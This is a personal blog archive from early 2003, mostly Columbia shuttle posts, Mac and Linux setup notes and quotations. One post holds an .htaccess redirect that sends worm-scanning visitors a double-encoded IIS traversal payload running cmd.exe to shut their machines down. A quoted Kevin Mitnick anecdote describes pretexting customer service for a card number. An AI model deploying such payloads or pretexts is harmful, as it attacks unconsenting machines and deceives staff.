02.09.03
Posted in General
at 1 pm
For me, the Astronaut dream never really died. It’s gotten pushed aside on long occasions, but if I ever really sit down and think, if I could have any job… working in near-zero-g is where I would be.
Challenger freaked everyone out, because we’d been invincible in space. The Soviets were the ones who had lost people, but never NASA. I remember the precise moment and location that I was sitting when I heard about it. Mrs. Morgan’s Communications IV class, 6th grade, in the left most row, 4 seats from the front.
—
Columbia has come at a bad time. We’re in the midst of an economy that everyone knows is bad but the government is lying about, a war on terror that’s more akin to shadow boxing and accomplishing goals that have nothing to do with Freedom or justice, while the law enforcement is grabbing more and more power to track down criminals and terrorists, but without realizing the amount of freedom they are taking away without any over sight.
NASA’s public profile has been one of the few things that looked shiny and pretty from the outside, and gave us the hint of looking at something beyond military dominance and big brotherism.
The set back that Columbia represents is excruciating for a country that’s breaking up and diving into the ground by leaders we don’t trust.
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02.05.03
Posted in General
at 11 am
From Kevin Mitnick’s Interview on SlashDot:
“On one occasion, I was challenged by a friend of mine to get his Sprint Foncard number. He said he would buy me dinner if I could get it. I couldn’t pass up a good meal so I phoned customer service and pretended to be from the IT department. I asked the rep if she was having any difficulties with her computer. She wasn’t. I asked her the name of the system she uses to access customer accounts, to verify I was working with the right service center. She gave it to me. Immediately thereafter, I called back and got a new service rep. I told her my computer was down and I was trying to bring up a customer account. She brought it up on her terminal. I asked her for the customer’s Foncard number? She started asking me a million questions? What was your name again? Who do you work for? What address are you at? You get the idea. Since I did not exercise any due diligence in my research, I just made up names and locations. It didn’t work. She told me she was going to report my call to security!
“Since I had her name, I briefed a friend of mine on the situation and asked him to pose as the “security investigator” so he could take a report. He called back customer service and was transferred to the woman. The “security investigator” said he received a report that unauthorized people were calling to obtain proprietary customer information. After getting the details of the “suspicious” call, the investigator asked what information the caller was after. She said the customer’s Foncard number. The “investigator” asked for the number. She gave it to him. Whoops! Case closed!”
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02.03.03
Posted in General
at 2 pm
I’m going to try this on one or two of my web servers that I can do this with. In my .htaccess file I’ll put:
RedirectMatch permanent (.*)c+dir http://127.0.0.1/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+rundll32.exe+shell32.dll,SHExitWindowsEx%201
As seen on Slashdot…
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02.01.03
Posted in General
at 7 am
1440 GMT (9:40 a.m. EST)
During a mission status news conference yesterday, Entry Flight Director Leroy Cain was asked about any possible damage to the shuttle’s thermal tiles during launch. The tiles are what protect the shuttle during the fiery reentry into Earth’s atmosphere.
Tracking video of launch shows what appears to be a piece of foam insulation from the shuttle’s external tank falling away during ascent and hitting the shuttle’s left wing near its leading edge.
But Cain said engineers “took a very thorough look at the situation with the tile on the left wing and we have no concerns whatsoever. We haven’t changed anything with respect to our trajectory design. It will be a nominal, standard trajectory.”
1436 GMT (9:36 a.m. EST)
NASA is asking that any persons finding debris should stay clear given the hazardous nature of the materials and alert local authorities.
1435 GMT (9:35 a.m. EST)
The last voice communications from the crew involved a tire pressure message. Communications were then garbled and static. Contact with the shuttle was lost at about 9 a.m. EST.
1429 GMT (9:29 a.m. EST)
Search and rescue forces are now being deployed, NASA says.
1427 GMT (9:27 a.m. EST)
NASA says the shuttle was about 200,000 feet up and traveling at 12,500 miles per hour when contact was lost.
From all the reports we’re receiving, it is becoming clear that the shuttle broke apart over Texas.
1419 GMT (9:19 a.m. EST)
Contingency plans are in effect in Mission Control.
1416 GMT (9:16 a.m. EST)
This was the time of Columbia’s landing. What we know is contact was lost with the shuttle at about 9 a.m. EST and a sighting by residents in Texas reported a debris cloud following the plasma trail as Columbia streaked overhead.
1415 GMT (9:15 a.m. EST)
The flight dynamics officer reports there is no tracking of the shuttle.
1414 GMT (9:14 a.m. EST)
Entry Flight Director Leroy Cain has instructed flight controllers to get out their contingency plan.
1410 GMT (9:10 a.m. EST)
NASA is still seeking tracking data. Communications with the shuttle were lost about 10 minutes ago.
1409 GMT (9:09 a.m. EST)
Still no contact with Columbia or crew.
1406 GMT (9:06 a.m. EST)
Mission Control waiting for C-band tracking data and UHF communications with Columbia through MILA. Houston lost communications with the shuttle a few minutes ago over Texas. We have gotten reports of debris in the sky.
1405 GMT (9:05 a.m. EST)
THERE HAS BEEN NO COMMUNICATIONS WITH THE SHUTTLE. Mission Controllers waiting for tracking data from the Merritt Island station.
1404 GMT (9:04 a.m. EST)
We’re getting reports from Texas of debris behind the shuttle’s plasma trail during reentery.
1401 GMT (9:01 a.m. EST)
Columbia is out of communications with flight controllers in Houston. Now 15 minutes from landing time.
1359 GMT (8:59 a.m. EST)
At an altitude of 40 miles, shuttle Columbia has entered Texas.
1357 GMT (8:57 a.m. EST)
The shuttle is now 43 miles over New Mexico. Columbia is now reversing its bank to the left to further reduce speed.
1356 GMT (8:56 a.m. EST)
Columbia’s speed is now about 15,000 miles per hour as it streaks over northern Arizona.
1355 GMT (8:55 a.m. EST)
The shuttle is now soaring over the southern portion of Nevada. Columbia set for touchdown at Kennedy Space Center in Florida in about 20 minutes.
SATURDAY, FEBRUARY 1, 2003
1353 GMT (8:53 a.m. EST)
Columbia is now crossing the California coastline.
SATURDAY, FEBRUARY 1, 2003
1351 GMT (8:51 a.m. EST)
Altitude 47 miles. Speed 16,400 miles per hour.
1349 GMT (8:49 a.m. EST)
Columbia is beginning the first in a series of banks to scrub off speed as it plunges into the atmosphere. These turns basically remove the energy Columbia built up during launch. This first bank is to the right.
1346 GMT (8:46 a.m. EST)
Thirty minutes to touchdown. Altitude 64 miles. Columbia will be making landfall over California shortly, flying north of San Francisco. The shuttle’s course will take it over Nevada, Arizona, New Mexico, Texas and then along the Gulf Coast and into the Florida Panhandle.
1344 GMT (8:44 a.m. EST)
ENTRY INTERFACE. The protective tiles on the belly of Columbia are now feeling heat beginning to build as the orbiter enters the top fringes of the atmosphere — a period known as Entry Interface.
The shuttle is flying with its nose elevated 40 degrees, wings level, at an altitude of 400,000 feet, passing over the southern Pacific Ocean, about 4,400 nautical miles from the landing site, at a velocity of Mach 25.
Touchdown is set for 9:16 a.m. EST at Kennedy Space Center in Florida.
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01.31.03
Posted in General
at 4 pm
A great collection of posters: http://homepage.mac.com/leperous/
I’m thinking Desktop images or printouts.
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01.25.03
Posted in General
at 8 am
From Gustave Gilbert’s Nuremberg Diary, interviewing Hermann Goering, Commander of the Luftwaffe (Nazi Germany’s air forces), before Goering was sentenced to death at Nuremberg:
We got around to the subject of war again and I said that, contrary to his attitude, I did not think that the common people are very thankful for leaders who bring them war and destruction.
“Why, of course, the people don’t want war,” Goering shrugged. “Why would some poor slob on a farm want to risk his life in a war when the best that he can get out of it is to come back to his farm in one piece. Naturally, the common people don’t want war; neither in Russia nor in England nor in America, nor for that matter in Germany. That is understood. But, after all, it is the leaders of the country who determine the policy and it is always a simple matter to drag the people along, whether it is a democracy or a fascist dictatorship or a Parliament or a Communist dictatorship.”
“There is one difference,” I pointed out. “In a democracy the people have some say in the matter through their elected representatives, and in the United States only Congress can declare wars.”
“Oh, that is all well and good, but, voice or no voice, the people can always be brought to the bidding of the leaders. That is easy. All you have to do is tell them they are being attacked and denounce the pacifists for lack of patriotism and exposing the country to danger. It works the same way in any country.”
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01.24.03
Posted in General
at 12 pm
Okay, I know I ought to be able to get comfortable with the Dock. And now that it doesn’t push around my Desktop icons in 10.2, I’ve kept it ‘open’ and not hidden.
I’ve also decided that I can move certian icons to it, based on how I acutally use them.
Requirement 1: I don’t need to launch them with a keystroke. I use DragThing for organizing my launch keys and the Dock doesn’t do that.
Requirement 2: I don’t need to drag things to them. DragThing will let me drag *any* file into *any* application. The essence of Drag-and-Drop interfaces is the ability to drag data to more than one tool. If the default tool was the only thing I ever needed, that would be great. But I want my HTML files to open in BBEdit, and in any one of 4 different browsers. Drag and Drop is an absolute must. Graphics files are often in the same boat. As are PDFs, EPS’s, Zips, .SITs, etc.
That the Dock doesn’t allow me to work this way is really annoying. That’s Why I have DragThing. Yay DragThing.
So what’s in my Dock after all that?
The Finder, DragThing, Stickies, Keyboard Maestro, iChat, AddressBook, iCal, NewtSync, and ClassicStartup (you did know that it’s got an icon, right?).
Everything else is DragThing’s domain.
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01.20.03
Posted in General
at 12 pm
I finally got Jag installed on both my iBook and my blue and white g3. both seem to be working smoothly and I’ve even got NewtSync running really well, so I can now stop using my Palm VII and get back to using my Newton for my Notes/Address Book/Scheduler.
I might even figure out how to make my B&W G3 a WebDAV server so that I can sync and publish my schedule and such easier.
It’s quite liberating too have a whole UNIX server at my own disposal. My brief stint with YellowDog Linux hasn’t come to a complete halt, but I’m not sure if I’ll go back. Right now, it’s a moot point. OS X seems to do everything I’ll need it to and with a pretty GUI with consistent naming.
The sheer plethora of ‘configs’ ‘panels’ ‘preferences’ ‘settings’ and other vaugly named tools for setting things up were just befuddeling.
No I’m not using Safari yet. Give me a bit of time to work out all the options that I have between uControl, TinkerTool and Keyboard Maestro and I’ll get back to you.
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01.11.03
Posted in General
at 11 pm
I’ve installed and am using “Daytona” the v2.4 Kernel of Linux for the PowerPC platform. I’m using “YellowDog Linux”, and I’ve installed it on my Blue & White G3. It took me about 4 hours to figure out everything in terms of getting to a usable desktop. The Hard Drive partitioning was pretty easy, since I still had some partitions open that I had anticipating using for OS X.
But the Video piece had me stumped until I remembered something. Each time I tried to boot after installing from the CD, The screen would hang. The Drive would continue to thrash, but nothing more would apear of the boot sequence. Suddenly I remembered that I had a second video card in the box, unused and as soon as I pulled it out, all was much better.
At least until I actually got into KDE and it was set up for a 1024×768 desktop, but the monitor was displaying only 800×600. Quite annoying. What would happen is that when the mouse cursor got close to the edge of the screen, the entire screen would shift over, like a viewport over a map. it took me a bit to find the ‘task/toolbar/panel’ that all the activation icons are on.
I’m now using Gnome. Maybe I’ll shift back to KDE later on.
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01.08.03
Posted in General
at 11 pm
Look at this as comparison between the iBook and the 12″ PowerBook:
* same screen size as iBook
* same RAM limits (640 MB Max) as iBook
* no DVI connector, no ADC support, same as iBook.
* only FW400, no FW800, just like iBook
* no PC Card slot, just like iBook
Sure, somehow they have the same screen size and yet were able to trim 1.8 inches off of the overall size, but that RAM limit is not a good thing. They could have easily put a full 512MB on on the MB leaving the *single* ram slot open for another 512.
But the lack of 800 Mb/s FireWire is just bizarre. Unless…
The 12″PB actually has simply a modified iBook base. At least that’s my guess, but comparing the port placement of the two, it’s easy to see the similarities.
All of the ports are lined up on the left hand side of the machine. As oposed to the 17″PB which has them all on the right hand side.
As opposed to the 15″PB with the ports all on the back. Which brings us to our strangest aspect of the new PBs:
The Hinge. The hinges of the new 17 and 12s are similar to the iBooks’ in that the screen actually rotates back behind the far edge of the laptop. It’s interesting in that it gives you a deeper keyboard area and a stronger hinge, but it makes for a screen that cannot be folded back to flat or nearly flat. That flexibility has been very useful on Amy’s TiPB on occasion, and I’d be surprosed to see it phased out.
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